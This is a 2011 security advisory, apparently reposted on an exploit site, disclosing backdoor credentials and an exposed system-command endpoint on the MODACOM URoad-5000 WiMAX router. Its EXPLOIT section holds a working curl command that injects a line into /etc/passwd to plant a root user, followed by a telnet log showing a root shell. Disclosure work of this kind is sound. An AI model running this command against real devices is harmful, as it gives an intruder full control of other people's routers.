ExploitFixes
MODACOM URoad-5000 v1450 Remote Command Execution/Backdoor 2011-06-02 10:15:05

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== Alex Stanev Security Advisory #4 @31.05.2011 ==
== http://sec.stanev.org ==
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PRODUCT
URoad-5000

VENDOR
MODACOM [http://www.modacom.co.kr]

VERSIONS AFFECTED
v1450

CLASS
Remote command execution/Backdoor

PRODUCT DESCRIPTION
URoad-5000 is integrated battery powered wireless router. It comes with only one external USB
interface and no other hardware comm interfaces (such as ethernet). Based on RaLink SoC 3050.
The USB port is used for connection with MW-U3050, which is USB WiMAX dongle.
Linux inside.
Often marketed as WiMAX 2 WiFi "converter".

THE PROBLEM
The box uses modified version of RaLink SDK. The standard web interface is accessed via HTTP.
1) Web administration interface can be accessed with standard user/password pair admin:admin
This can be later changed, but there is another possible access pair - engineer:engineer
and it can't be changed via the web interface.
2) Some of the SDK standard scripts are left and their screens in the web interface are just
HTML commented. This reveals the /goform/SystemCommand method.

EXPLOIT
1) Remote add r00t user with password boza
$curl --basic -u "engineer:engineer" \
-d "command=echo -e \"r00t:CRYM.sLY1U1AI:0:0:Adminstrator:/:/bin/sh\" >> /etc/passwd;&SystemCommandSubmit=Apply" \
192.168.100.254/goform/SystemCommand
$telnet 192.168.100.254
Trying 192.168.100.254...
Connected to 192.168.100.254.
modacom login: r00t
Password: boza
BusyBox v1.12.1 (2010-03-05 21:33:57 KST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

ADDITIONAL INFO
The flaw was presented on OpenFest 2010.
Presentation: http://openfest.org/files/slides-2010/OpenFest2010_Reverse_engineering_Alex_Stanev.pdf [in bulgarian]

PATCH/WORKAROUND
No workaround possible. Next version?

VENDOR STATUS
NOT informed. Backdoor.

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== EOF ==
== http://sec.stanev.org ==
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